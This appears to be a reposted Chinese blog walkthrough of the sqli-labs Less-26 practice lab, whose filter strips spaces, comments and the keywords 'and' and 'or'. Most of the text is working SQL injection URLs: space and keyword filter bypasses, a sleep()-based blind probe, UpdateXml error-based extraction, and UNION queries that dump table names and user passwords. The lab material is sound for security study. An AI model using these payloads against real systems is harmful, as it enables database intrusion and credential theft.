【sqli-labs】 less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基于错误的去除了空格和注释的注入)...

看了下源码

所有的注释形式和反斜线,and,or都被了过滤掉了

单引号没有过滤

空格也被过滤了

http://localhost/sqli-labs-master/Less-26/?id=1'

http://localhost/sqli-labs-master/Less-26/?id=1' '

看了网上的一些方法都是使用了%a0替换掉了空格

http://localhost/sqli-labs-master/Less-26/?id=1'%a0oorr%a0'1'='1

但是出了一点问题,似乎无法识别%a0这个字符,有人说是window环境下apache的问题

可以先放着,因为这个语句是可以正常被执行的

http://localhost/sqli-labs-master/Less-26/?id=1'oorr'1'='1
SELECT * FROM users WHERE id='1'or'1'='1' LIMIT 0,1

利用这一点,可以构造这样的注入

id参数的值不包含注释不包含空格,却可以在正常执行,当user()的第一个字符为'r'的时候,延时1s

http://localhost/sqli-labs-master/Less-26/?id=1'%26%26sleep(ascii(mid(user(),1,1))=114)%26%26'1'='1
select * from users where id='1'&&sleep(ascii(mid(user(),1,1))=114)&&'1'='1' limit 0,1

当然出错信息没有被屏蔽也可以用UpdateXml函数直接报错来显示

http://localhost/sqli-labs-master/Less-26/?id=1'%26%26UpdateXml(1,concat(0x7e,user(),0x7e),1)%26%26'1'='1

 换到LAMP环境下再试一下

使用%a0代替空格

http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,'3

payload

http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,2,table_name%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security

取数据

http://192.168.136.128/sqli-labs-master/Less-26/?id=0'%a0union%a0select%a01,username,passwoorrd%a0from%a0users%a0limit%a01,1%a0union%a0select%a01,2,'3

 

转载于:https://www.cnblogs.com/omnis/p/8367365.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值